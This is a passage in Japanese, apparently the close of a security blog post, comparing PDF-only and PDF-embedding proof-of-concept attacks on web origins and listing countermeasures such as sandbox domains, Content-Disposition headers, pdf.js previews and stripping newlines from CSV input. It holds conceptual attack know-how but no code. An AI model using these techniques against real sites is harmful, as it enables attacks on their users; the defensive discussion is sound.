一番最初のPoC及び今回のPoCはPDFのみを使った攻撃なので、信頼されたオリジンから攻撃ができ、攻撃者のサイトに誘導する必要はありません。しかしContent-Dispositionヘッダーがあった場合はダウンロードされてしまう為、攻撃者のサイトに埋め込む必要があります。もう一つの特徴は、PDFを埋め込む攻撃がブラウザのバグ(X-Frame-Optionsをチェックしない)を利用しているのに対し、PDFのみの攻撃はPDFの機能のみを使っています。その為ブラウザ側で正しいチェックが行われてもPDFの攻撃は無くならないでしょう。

対策
ユーザがアップロードしたPDFを重要なオリジンに保存しない。オープンリダイレクトを完全に防ぎたい場合はサンドボックスドメインに保存したPDFにContent-Dispositionをつけて、pdf.jsでPDFのプレビューを表示する。CSVの対策としてはユーザが入力した値の中の改行を消す。JSONやJSONPは仕様に従っていれば、基本影響を受けません。対策の前にComma Chameleonを読むことを強く推奨します。

ではでは。